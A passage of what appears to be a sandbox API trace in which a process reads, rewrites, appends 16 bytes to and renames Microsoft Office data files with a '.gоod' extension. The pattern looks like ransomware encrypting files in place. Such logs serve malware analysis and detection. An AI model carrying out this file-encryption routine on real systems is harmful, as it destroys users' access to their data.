lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1f3978 [0227.094] WriteFile (in: hFile=0x828, lpBuffer=0x36bee18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x36bee18*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0227.095] CloseHandle (hObject=0x828) returned 1 [0227.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", lpFilePart=0x0) returned 0x41 [0227.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.096] GetFileType (hFile=0x828) returned 0x1 [0227.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.096] GetFileType (hFile=0x828) returned 0x1 [0227.096] ReadFile (in: hFile=0x828, lpBuffer=0x36c10d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x36c10d0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0227.495] CloseHandle (hObject=0x828) returned 1 [0227.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", lpFilePart=0x0) returned 0x41 [0227.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.496] GetFileType (hFile=0x828) returned 0x1 [0227.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.496] GetFileType (hFile=0x828) returned 0x1 [0227.496] WriteFile (in: hFile=0x828, lpBuffer=0x36bd5a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36bd5a8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0227.496] CloseHandle (hObject=0x828) returned 1 [0227.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT", lpFilePart=0x0) returned 0x41 [0227.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.gоod", lpFilePart=0x0) returned 0x46 [0227.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0227.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83d0bbda, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f3988)) returned 1 [0227.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0227.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlex.dat.gоod")) returned 1 [0227.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", lpFilePart=0x0) returned 0x41 [0227.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0227.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), fInfoLevelId=0x0, lpFileInformation=0x383d678 | out: lpFileInformation=0x383d678*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa38f59d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa38f59d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3b57c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd64)) returned 1 [0227.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0227.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", lpFilePart=0x0) returned 0x41 [0227.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.499] GetFileType (hFile=0x828) returned 0x1 [0227.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.499] GetFileType (hFile=0x828) returned 0x1 [0227.499] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0227.499] ReadFile (in: hFile=0x828, lpBuffer=0x383da80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x383da80*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0227.501] CloseHandle (hObject=0x828) returned 1 [0227.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", lpFilePart=0x0) returned 0x41 [0227.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.501] GetFileType (hFile=0x828) returned 0x1 [0227.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.501] GetFileType (hFile=0x828) returned 0x1 [0227.501] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0xcd64 [0227.501] WriteFile (in: hFile=0x828, lpBuffer=0x383ed70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x383ed70*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0227.502] CloseHandle (hObject=0x828) returned 1 [0227.502] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", lpFilePart=0x0) returned 0x41 [0227.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0227.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0227.502] GetFileType (hFile=0x828) returned 0x1 [0227.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0227.502] GetFileType (hFile=0x828) returned 0x1 [0227.502] ReadFile (in: hFile=0x828, lpBuffer=0x3841068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3841068*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0228.497] CloseHandle (hObject=0x828) returned 1 [0228.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", lpFilePart=0x0) returned 0x41 [0228.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0228.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.498] GetFileType (hFile=0x828) returned 0x1 [0228.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0228.498] GetFileType (hFile=0x828) returned 0x1 [0228.498] WriteFile (in: hFile=0x828, lpBuffer=0x34fd7a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x34fd7a0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0228.498] CloseHandle (hObject=0x828) returned 1 [0228.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", lpFilePart=0x0) returned 0x41 [0228.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.gоod", lpFilePart=0x0) returned 0x46 [0228.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0228.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa38f59d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa38f59d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x846952bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcd74)) returned 1 [0228.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0228.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat.gоod")) returned 1 [0228.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", lpFilePart=0x0) returned 0x41 [0228.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0228.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), fInfoLevelId=0x0, lpFileInformation=0x36011b0 | out: lpFileInformation=0x36011b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd18)) returned 1 [0228.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0228.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", lpFilePart=0x0) returned 0x41 [0228.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0228.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.500] GetFileType (hFile=0x828) returned 0x1 [0228.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0228.500] GetFileType (hFile=0x828) returned 0x1 [0228.500] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd18 [0228.500] ReadFile (in: hFile=0x828, lpBuffer=0x3602160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3602160*, lpNumberOfBytesRead=0x1f59dd38*=0xd18, lpOverlapped=0x0) returned 1 [0228.502] CloseHandle (hObject=0x828) returned 1 [0228.542] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", lpFilePart=0x0) returned 0x41 [0229.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0229.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0229.691] GetFileType (hFile=0x860) returned 0x1 [0229.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0229.691] GetFileType (hFile=0x860) returned 0x1 [0229.691] WriteFile (in: hFile=0x860, lpBuffer=0x37119a8*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x37119a8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd20, lpOverlapped=0x0) returned 1 [0229.692] CloseHandle (hObject=0x860) returned 1 [0229.692] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT", lpFilePart=0x0) returned 0x41 [0229.692] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.gоod", lpFilePart=0x0) returned 0x46 [0229.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0229.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x851f7ad8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0229.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0229.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat.gоod")) returned 1 [0229.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", lpFilePart=0x0) returned 0x41 [0229.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0229.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), fInfoLevelId=0x0, lpFileInformation=0x3712c20 | out: lpFileInformation=0x3712c20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa4c084e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47)) returned 1 [0229.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0229.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", lpFilePart=0x0) returned 0x41 [0229.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0229.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0229.694] GetFileType (hFile=0x860) returned 0x1 [0229.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0229.694] GetFileType (hFile=0x860) returned 0x1 [0229.694] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0229.694] ReadFile (in: hFile=0x860, lpBuffer=0x3713028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3713028*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0229.696] CloseHandle (hObject=0x860) returned 1 [0229.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", lpFilePart=0x0) returned 0x41 [0229.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0229.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0229.696] GetFileType (hFile=0x860) returned 0x1 [0229.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0229.697] GetFileType (hFile=0x860) returned 0x1 [0229.697] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0xa03a47 [0229.697] WriteFile (in: hFile=0x860, lpBuffer=0x3714358*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3714358*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0229.698] CloseHandle (hObject=0x860) returned 1 [0229.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", lpFilePart=0x0) returned 0x41 [0229.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0229.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0229.698] GetFileType (hFile=0x860) returned 0x1 [0229.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0229.699] GetFileType (hFile=0x860) returned 0x1 [0229.699] ReadFile (in: hFile=0x860, lpBuffer=0x3716640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3716640*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0230.700] CloseHandle (hObject=0x860) returned 1 [0230.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", lpFilePart=0x0) returned 0x41 [0230.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0230.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0230.700] GetFileType (hFile=0x860) returned 0x1 [0230.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0230.700] GetFileType (hFile=0x860) returned 0x1 [0230.700] WriteFile (in: hFile=0x860, lpBuffer=0x35f7750*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x35f7750*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0230.700] CloseHandle (hObject=0x860) returned 1 [0230.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", lpFilePart=0x0) returned 0x41 [0230.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.gоod", lpFilePart=0x0) returned 0x46 [0230.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0230.701] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, 